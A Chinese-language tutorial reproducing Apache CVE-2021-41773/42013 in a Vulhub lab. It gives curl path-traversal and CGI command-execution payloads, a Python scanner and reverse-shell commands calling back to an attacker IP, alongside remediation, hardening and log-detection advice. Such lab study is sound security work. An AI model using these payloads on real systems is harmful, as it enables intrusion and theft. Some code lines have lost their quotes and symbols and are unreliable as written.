Apache路径穿越漏洞CVE-2021-41773:原理、复现与安全加固 1. 项目概述一次对经典路径穿越漏洞的深度剖析在网络安全领域漏洞复现是安全研究员、渗透测试工程师乃至运维人员必须掌握的核心技能。它不仅是验证漏洞真实危害、理解攻击者手法的关键更是构建有效防御策略的基石。今天我们就来深入拆解一个在2021年曾引起广泛关注的经典漏洞——Apache HTTP Server的路径穿越漏洞CVE-2021-41773。这个漏洞影响范围广原理典型复现过程清晰是学习Web安全、理解服务器安全配置缺陷的绝佳案例。无论你是刚入门的安全爱好者还是希望巩固基础的安全从业者通过亲手搭建环境、发起攻击、分析流量你都能对“路径穿越”这一古老却常新的攻击方式有更深刻的认识。我们将从漏洞原理、环境搭建、攻击复现到深度利用与修复一步步还原攻击链并分享我在复现过程中踩过的坑和总结的实用技巧。2. 漏洞原理深度解析规范化过程中的“视觉盲区”要理解CVE-2021-41773我们必须先搞懂Apache HTTP Server如何处理用户请求的URL路径这个过程被称为“路径规范化”。简单来说就是服务器需要把用户输入的、可能包含各种奇怪字符的路径转换成服务器文件系统能理解的、标准化的绝对路径。2.1 Apache的路径规范化机制Apache使用一个名为ap_normalize_path的核心函数来处理路径。它的工作流程可以类比为一个严格的安检员检查路径字符串中是否藏有试图“溜到”上级目录的“危险分子”也就是../上一级目录符号。在Apache 2.4.49版本之前这个安检员的检查逻辑是先对路径进行URL解码然后再查找../。URL解码是什么比如%2e会被解码成英文句点.%2f会被解码成斜杠/。所以攻击者如果直接使用../../../etc/passwd会被轻易识别并拦截。然而在2.4.49版本中为了提升性能或处理某些边缘情况代码逻辑发生了一个微妙但致命的变化。这个版本的“安检员”调整了工作顺序它在遍历路径字符串时边解码边检查。具体来说当它遇到一个%字符时如果后面跟着两个十六进制字符如2e它会立即将这三个字符如%2e解码成对应的字符.然后立刻检查这个新解码出来的字符和它后面的字符是否构成了./。2.2 漏洞产生的关键逻辑缺陷正是这个“立即检查”的逻辑打开了潘多拉魔盒。我们来分析攻击者构造的Payload.%2e/。安检员从字符串开头开始扫描。它首先遇到一个普通的.字符。它看看后面两个字符是%2不是./于是它认为这里没有./继续前进。现在它遇到了%字符后面跟着2e。它执行URL解码将%2e转换成一个新的.字符。关键点来了此时安检员“眼前”的字符串变成了由.和刚刚解码出的.组成它检查这个新解码出的.后面两个字符。后面两个字符是什么是e/来自原始字符串%2e/中的e和/。e/显然不等于./于是检查再次通过。最终整个字符串.%2e/在安检员看来是合法的但它实际上等价于../。因为当整个路径字符串被完整地、最终地解码后.%2e/就会变成../。这个过程就像一个翻译在逐句翻译一篇密文每翻译一个词就立刻检查这个词是否敏感却忘了等整句话翻译完再通篇理解结果让藏在跨词组合里的敏感信息溜了过去。%2e%2e/解码后为../的绕过原理与此类似。注意这个漏洞的利用有一个重要前提那就是Apache配置中目标目录没有受到Require all denied指令的有效保护。如果配置得当即使路径穿越成功请求也会被授权模块拒绝。但现实中许多默认或宽松的配置为漏洞利用创造了条件。2.3 从文件读取到命令执行CVE-2021-42013更危险的是如果目标服务器还开启了CGI通用网关接口功能这个路径穿越漏洞的危害就从“文件读取”升级为“远程命令执行”。攻击者可以将路径穿越到/bin/sh或/bin/bash等系统shell然后通过POST方式发送命令让Apache以Web服务器进程的权限通常是www-data或apache用户执行任意命令。Apache在2.4.50版本试图修复CVE-2021-41773但修复不彻底未能正确检测%2e%2e%2f即../的双重编码形式从而产生了新的漏洞CVE-2021-42013。这使得2.4.50版本的用户依然暴露在风险之下直到2.4.51版本才得到完全修复。3. 实验环境搭建使用Vulhub快速构建靶场理论分析之后最好的学习方式就是动手实践。为了安全且方便地复现漏洞我们强烈建议使用隔离的虚拟化环境。这里我推荐使用Vulhub这是一个基于Docker-Compose的预集成漏洞环境项目几乎囊括了所有常见漏洞的复现环境一键搭建非常方便。3.1 基础环境准备首先你需要准备一个Linux环境Ubuntu、CentOS等并安装好Docker和Docker-Compose。如果你使用的是Windows或macOS建议安装VirtualBox或VMware再创建一台Linux虚拟机。安装Docker以Ubuntu为例可以通过官方脚本快速安装。curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh sudo usermod -aG docker $USER # 将当前用户加入docker组避免每次用sudo # 执行后需要退出终端重新登录或执行 newgrp docker 使组生效安装Docker-Composesudo curl -L https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose sudo chmod x /usr/local/bin/docker-compose docker-compose --version # 验证安装3.2 部署Vulhub与Apache漏洞环境获取Vulhubgit clone https://github.com/vulhub/vulhub.git cd vulhub如果网络较慢也可以直接下载ZIP包。启动特定漏洞环境我们要复现的是Apache的漏洞所以进入对应目录。cd httpd/CVE-2021-41773 ls -la你会看到目录下有docker-compose.yml文件它定义了如何构建一个包含Apache 2.4.49的脆弱容器。一键启动环境sudo docker-compose up -d这个命令会从Docker Hub拉取预构建的镜像并在后台启动容器。-d参数代表后台运行。 看到Creating cve-2021-41773_httpd_1 ... done类似的提示说明启动成功。验证环境sudo docker ps你应该能看到一个名为vulhub_httpd_cve-2021-41773的容器正在运行并且映射了端口通常是8080。 此时在你的浏览器中访问http://你的虚拟机IP:8080/如果看到Apache经典的“It works!”页面说明漏洞环境已经正常运行。实操心得第一次使用docker-compose up -d时可能会因为网络问题导致镜像拉取缓慢或失败。可以尝试配置Docker国内镜像加速器。另外务必确认防火墙如ufw或云主机的安全组规则已经放行了8080端口否则无法从宿主机外部访问。4. 漏洞复现攻击实操从信息泄露到系统控制环境就绪现在我们扮演攻击者的角色对这台有缺陷的Apache服务器发起攻击。我们将使用最常用的命令行工具curl它足够强大且能清晰展示通信细节。4.1 信息泄露读取系统敏感文件首先复现最基本的文件读取。我们的目标是读取Linux系统的/etc/passwd文件该文件包含了所有用户的基本信息是信息收集的常见目标。在攻击机可以是宿主机也可以是同一网络下的另一台机器上执行curl -v --path-as-is http://靶机IP:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd命令拆解与原理-v启用详细模式输出完整的HTTP请求和响应头方便我们调试和观察。--path-as-is这是关键参数。它告诉curl不要对URL路径做任何标准化处理原样发送。如果不用这个参数curl自己可能会“好心”地先把.%2e处理掉导致Payload失效。http://靶机IP:8080目标地址。/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd恶意构造的路径。这里连续使用了多个.%2e/和%2e%2e/进行路径穿越。为什么需要这么多层因为Apache的默认文档根目录DocumentRoot例如/usr/local/apache2/htdocs可能离根目录/有好几层。通过多次返回上级目录确保能穿越到根目录再定位到/etc/passwd。/icons/是一个通常存在于Apache默认安装中的目录这里作为攻击的起始点。执行结果分析 如果漏洞存在且配置允许你将在终端看到HTTP 200 OK的响应并在响应体中清晰地看到/etc/passwd文件的内容。在-v输出的头部信息中注意观察服务器返回的Content-Length和Content-Type。成功读取时Content-Type可能是text/plain而如果请求被拒绝或路径不存在可能会返回403 Forbidden或404 Not Found。你可以尝试读取其他文件如/etc/shadow需要root权限通常读不到、/proc/self/environ包含进程环境变量或Web应用本身的配置文件如./.%2e/.%2e/.%2e/.%2e/app/config.php。4.2 远程命令执行获取服务器控制权如果目标服务器启用了CGI在这个Vulhub环境中是默认启用的攻击就可以升级。我们的思路是通过路径穿越让Apache去执行本不应该被Web访问的系统shell如/bin/sh然后通过HTTP POST数据的方式向这个shell发送命令。执行以下命令curl -v --data echo;id http://靶机IP:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh命令拆解与原理--data echo;id使用POST方法发送数据。数据内容是echo;id。echo后接一个空行是为了在输出中形成一个换行让结果更清晰id是我们要执行的Linux命令用于查看当前进程的用户和组信息。http://靶机IP:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh请求的URL。这里我们穿越到cgi-bin目录的上级实际上cgi-bin通常就在文档根目录下然后一路向上最终指向系统的/bin/sh。单引号是为了防止shell解释URL中的特殊字符。执行结果分析 成功的话你会在响应体中看到id命令的执行结果例如uid1(daemon) gid1(daemon) groups1(daemon)。这表明我们以daemon用户的身份执行了命令完全控制了该Web服务进程的权限。更复杂的命令执行示例 我们可以执行任意命令例如查看当前目录、写入文件等。# 执行多条命令查看网络配置并列出目录 curl -v --data echo;ifconfig; ls -la /tmp http://靶机IP:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh # 通过命令再次读取/etc/passwd curl -v --data echo;cat /etc/passwd http://靶机IP:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh注意事项在实际渗透测试中通过这种方式获得的往往是低权限用户如www-data、apache、daemon。下一步通常涉及权限提升提权。但在漏洞复现和学习中能够执行任意命令已经足以证明漏洞的严重性。此外如果服务器禁用了CGI那么命令执行将无法成功但路径穿越文件读取可能依然有效。5. 漏洞修复与安全加固方案复现漏洞是为了更好地防御。对于系统管理员和安全工程师来说了解如何修复和防范此类漏洞至关重要。5.1 官方修复方案最直接、最有效的修复方法是升级Apache HTTP Server到安全版本。对于CVE-2021-41773应升级至Apache 2.4.50 或更高版本。但是由于2.4.50版本修复不彻底CVE-2021-42013必须升级到Apache 2.4.51 或更高版本才能完全免疫这两个漏洞。升级步骤参考以Ubuntu/Debian为例备份现有配置sudo cp -r /etc/apache2 /etc/apache2.backup更新软件包列表sudo apt update升级Apachesudo apt install --only-upgrade apache2验证版本apache2 -v重启服务sudo systemctl restart apache2对于CentOS/RHEL系统可以使用yum update httpd进行升级。5.2 临时缓解措施如果因为兼容性等原因无法立即升级可以采取以下临时缓解措施检查并强化配置确保Apache的主配置文件如httpd.conf或apache2.conf以及所有虚拟主机配置中对于不需要直接访问文件系统的目录都设置了严格的访问控制。# 这是一个关键的安全配置范例 Directory / Require all denied Options None AllowOverride None /Directory # 仅开放文档根目录的访问权限 Directory /var/www/html Require all granted # 其他必要的配置... /Directory将根目录Directory /的权限设置为Require all denied可以阻止任何试图穿越到Web根目录之外的请求。这是Apache安全配置的基石。禁用不必要的CGI模块如果业务不需要CGI功能应将其禁用。对于通过mod_cgi或mod_cgid动态加载的注释掉LoadModule相关行。在配置文件中移除或注释掉ScriptAlias指令或将其指向一个空目录或安全目录。使用Web应用防火墙部署WAF如ModSecurity并启用针对路径遍历攻击的防护规则如规则ID 930100。5.3 安全开发与运维建议除了针对该漏洞的修复更应建立长期的安全意识最小权限原则Apache进程应以非root、低权限用户身份运行。定期审查运行账户的权限。输入验证与过滤在应用程序层面对所有用户输入的路径参数进行严格的规范化验证和过滤拒绝任何包含..、编码字符的非法路径。定期更新与漏洞扫描订阅Apache安全公告建立软件定期更新机制。使用漏洞扫描工具对线上服务进行定期检测。深度防御不要仅依赖Web服务器一层的防护。结合网络层的ACL、主机层的文件系统权限、应用层的安全编码构建多层防御体系。6. 深度利用与扩展思考一次成功的漏洞复现不应止步于“弹个计算器”或“读个文件”。我们应该思考攻击者在真实场景中会如何利用这个漏洞以及我们如何检测和防御更隐蔽的攻击。6.1 漏洞利用的自动化与武器化手动curl测试适用于学习和验证但真实攻击往往是自动化的。攻击者可能会编写简单的Python脚本批量扫描互联网上存在漏洞的Apache服务器。import requests import sys def check_vulnerability(target): payloads [ /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd, /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh ] headers {User-Agent: Mozilla/5.0 (Scanner)} for payload in payloads: url fhttp://{target}:8080{payload} # 默认端口实际中会扫描多种端口 try: if payload.endswith(etc/passwd): resp requests.get(url, headersheaders, timeout5) if resp.status_code 200 and root: in resp.text: print(f[] {target} 存在路径穿越漏洞 (CVE-2021-41773)) return True # 对于命令执行检测需要更谨慎避免法律风险此处仅作原理演示 except requests.exceptions.RequestException: pass print(f[-] {target} 未发现漏洞) return False if __name__ __main__: if len(sys.argv) ! 2: print(用法: python3 scanner.py target_ip) sys.exit(1) check_vulnerability(sys.argv[1])重要警告此类脚本仅限用于对自己拥有完全控制权的实验环境进行测试。未经授权对任何他人系统进行扫描或攻击都是非法行为。6.2 漏洞的变种与绕过技巧CVE-2021-42013针对2.4.50的不完全修复告诉我们修复漏洞时需要考虑周全。攻击者可能会尝试各种编码和组合来绕过检测双重编码%%32%65%本身编码为%252e编码为32%65但需要服务器支持。混合大小写.%2E/或.%2e/。利用操作系统对路径解析的差异在Windows服务器上可能有所不同。因此在编写WAF规则或输入过滤函数时需要采用“规范化后检测”的原则先将输入完全解码/规范化成标准形式再检测其中是否包含危险模式而不是在中间状态进行匹配。6.3 防御视角下的入侵检测作为防御方我们如何发现服务器是否正在遭受此类攻击日志分析Apache的访问日志通常位于/var/log/apache2/access.log或/etc/httpd/logs/access_log是金矿。重点关注包含%2e、..、cgi-bin等关键词的异常请求特别是返回状态码为200但请求URL异常的记录。# 使用grep快速筛查可疑请求 sudo grep -E \(%2e|\.\.|cgi-bin.*sh)\ /var/log/apache2/access.log | head -20文件完整性监控监控/etc/passwd、/etc/shadow、Web目录下的脚本文件等关键文件的未授权读取或修改。可以使用工具如AIDE、Tripwire或Osquery。进程监控监控由Apache用户如www-data启动的异常子进程特别是/bin/sh、/bin/bash、curl、wget等。7. 常见问题与排查技巧实录在复现和教学过程中我遇到过不少问题。这里总结一下希望能帮你少走弯路。7.1 环境搭建与网络问题问题1执行docker-compose up -d后访问8080端口无法连接。排查步骤检查容器状态sudo docker ps确认容器是否处于Up状态。如果是Exited用sudo docker logs 容器ID查看启动日志。检查端口映射sudo docker ps查看PORTS列确认是否是0.0.0.0:8080-80/tcp。如果不是可能是端口被占用。修改docker-compose.yml中的端口映射例如将8080:80改为8081:80。检查防火墙如果宿主机是Linux检查sudo ufw status。如果是云服务器检查安全组规则是否放行了8080端口。检查IP地址确保你访问的是正确的IP。在虚拟机内用ip addr或hostname -I查看。在宿主机上访问虚拟机IP而不是localhost。问题2curl命令执行后返回403 Forbidden或404 Not Found。可能原因与解决Payload路径不对Vulhub环境中的Apache文档根目录和默认路径可能与你的Payload假设不同。尝试减少或增加穿越的层级.%2e/的数量。也可以先尝试读取Web目录下的已知文件如/icons/README确认基础路径。缺少--path-as-is参数这是最常见的原因。没有这个参数curl会预处理URL导致Payload失效。目标目录受Require all denied保护这是Apache的安全配置生效了。在复现环境中Vulhub通常已配置为易受攻击状态。但在你自己搭建的其他Apache环境中可能需要调整配置确保目标目录如/icons/的访问控制允许请求通过。7.2 漏洞利用相关问题问题3文件读取成功但命令执行不成功返回404或500错误。排查思路确认CGI是否启用在Apache配置中搜索LoadModule cgi_module或LoadModule cgid_module确认是否加载。在Vulhub环境中是默认启用的。检查CGI执行权限确保/bin/sh文件存在且可执行。ls -l /bin/sh。检查Payload格式命令执行Payload的URL部分穿越的路径必须能正确指向/bin/sh。并且--data部分发送的命令需要符合shell语法。可以先用一个简单的命令如echo hello测试。查看Apache错误日志sudo docker exec 容器ID tail -f /usr/local/apache2/logs/error_log。这里会记录CGI执行失败的具体原因如权限不足、解释器路径错误等。问题4如何获取一个交互式的Shell通过curl的一次性命令执行是非交互式的无法执行像vi、top或需要持续输入的程序。要获得交互式Shell通常需要利用漏洞上传一个Webshell或者建立反向Shell连接。建立反向Shell原理演示 在攻击机上监听一个端口nc -lvnp 4444然后通过漏洞执行命令让靶机连接回攻击机# 方法一使用bash更常见 curl -v --data echo;/bin/bash -c bash -i /dev/tcp/攻击机IP/4444 01 http://靶机IP:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh # 方法二使用nc如果靶机安装了netcat curl -v --data echo;nc 攻击机IP 4444 -e /bin/sh http://靶机IP:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh如果成功你会在攻击机的nc监听端口中获得一个交互式Shell。同样此操作仅限授权测试环境。7.3 修复与验证问题问题5升级Apache后如何验证漏洞是否真正修复重新运行之前的攻击命令。如果漏洞已修复你应该看到对于文件读取返回403 Forbidden或404 Not Found而不是200 OK并返回文件内容。对于命令执行返回403 Forbidden、404 Not Found或500 Internal Server Error并且错误日志中会记录“路径遍历攻击被拒绝”等相关信息。最严谨的方法是使用专业的漏洞扫描工具如Nessus, OpenVAS或专门针对该漏洞的验证脚本进行扫描这些工具会发送多种变形的Payload进行检测。漏洞复现的价值远不止于让屏幕上弹出几行命令结果。它是一次完整的“攻击者思维”训练让你切身感受到一个微小的代码逻辑缺陷如何被层层放大最终演变成系统沦陷的入口。通过亲手搭建、攻击、分析、修复CVE-2021-41773你不仅掌握了一个具体漏洞的利用方法更重要的是理解了路径穿越漏洞的通用原理、Apache请求处理的核心流程、以及安全配置中“默认拒绝”原则的重要性。在后续的工作中无论是代码审计时审视路径处理函数还是配置服务器时检查Directory指令这段经历都会让你多一份警惕和洞察。最后一个小建议在实验结束后别忘了运行sudo docker-compose down来清理Vulhub环境释放资源保持实验环境的整洁。